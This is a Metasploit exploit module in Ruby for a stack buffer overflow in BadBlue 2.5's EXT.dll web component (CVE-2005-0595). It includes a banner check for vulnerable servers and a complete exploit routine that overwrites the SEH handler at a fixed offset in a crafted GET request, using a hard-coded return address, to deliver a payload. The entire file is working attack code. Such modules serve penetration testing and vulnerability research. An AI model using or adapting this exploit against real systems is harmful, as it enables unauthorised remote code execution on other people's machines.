##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# https://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,  
      'Name'           => 'BadBlue 2.5 EXT.dll Buffer Overflow',
      'Description'    => %q{
        This is a stack overflow exploit for BadBlue version 2.5.
      },
      'Author'         => 'acaro <acaro [at] jervus.it>',
      'License'        => BSD_LICENSE,
      'Version'        => '$Revision$',
      'References'     =>
        [
          [ 'CVE', '2005-0595' ],
          [ 'OSVDB', '14238' ],
          [ 'BID', '7387' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        => 
        [
          ['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }], 
        ],
      'DisclosureDate' => 'Apr 20 2003',
      'DefaultTarget'  => 0))
      
      register_options( [ Opt::RPORT(80) ], self.class )
  end

  def check
    connect
 
    sock.put("GET / HTTP/1.0\r\n\r\n")
    resp = sock.get_once
    disconnect
 
      if (resp =~ /BadBlue\/2.5/)
        return Exploit::CheckCode::Vulnerable
      end 
        return Exploit::CheckCode::Safe
  end

  def exploit
    connect

    uri     = "GET /ext.dll?mfcisapicommand=" 
    sploit  = rand_text_alphanumeric(500) 
    seh     = generate_seh_payload(target.ret)
    sploit[492, seh.length] = seh

    print_status("Trying target #{target.name}...")

    sock.put(uri + sploit + "\r\n\r\n")
    
    handler
    disconnect
  end

end